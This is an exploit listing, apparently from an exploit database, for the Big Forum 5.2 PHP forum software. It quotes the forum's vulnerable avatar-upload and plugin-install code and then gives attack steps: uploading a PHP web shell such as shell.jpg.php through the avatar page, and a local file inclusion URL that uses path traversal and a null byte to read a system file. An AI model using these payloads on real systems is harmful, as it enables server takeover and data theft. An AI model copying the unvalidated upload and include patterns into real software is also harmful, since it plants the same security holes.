Big Forum 5.2v Arbitrary File Upload & LFI Vulnerability

2010-06-24T00:00:00
ID 1337DAY-ID-12921
Type zdt
Reporter Zer0 Thunder
Modified 2010-06-24T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ========================================================
Big Forum 5.2v Arbitrary File Upload & LFI Vulnerability
========================================================


=> Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability
=> Author    : Zer0 Thunder
=> Home      : http://colombohackers.com
=> Download  : http://sourceforge.net/projects/npage-bigforum/files/bigforum%205.2/bf5.2.zip/download
=> Date  : 06/24/2010
 
 
 
Arbitrary File Upload
---------------------
 
 
 
Vuln C0de
 
=============================================================================================================
 
   if($_FILES['datei']['size'] <  102400)
      {
      move_uploaded_file($_FILES['datei']['tmp_name'], "images/avatar/".$_FILES['datei']['name']);
      echo "Danke, dein Avatar wurde hochgeladen, es wird nun angezeigt.";
      $pfad = $_FILES['datei']['name'];
      mysql_query("UPDATE users SET ava_link = 'images/avatar/$pfad' WHERE username LIKE '". USER ."'");
      }
 
you will have to register before doing this
 
=============================================================================================================
 
 
Vuln Page link : http://localhost/bf/main.php?do=ava  
(Upload the shell.php or shell.jpg.php )
 
 
 
 
 
Local File Inclusion
--------------------
 
 
=============================================================================================================
if($_GET["aktion"] == "install")
  {
    $path = "../includes/plugins/$_GET[datei]";
    include($path);
    plugin_install($kurzc, $_GET["datei"]);
    echo "Danke, der Mod wurde erfolgreich installiert.";
    exit;
  }
 
 
=============================================================================================================
 
 
http://localhost/bf/admin/admin.php?do=mods&aktion=install&datei=../../../../../boot.ini%00



#  0day.today [2018-02-17]  #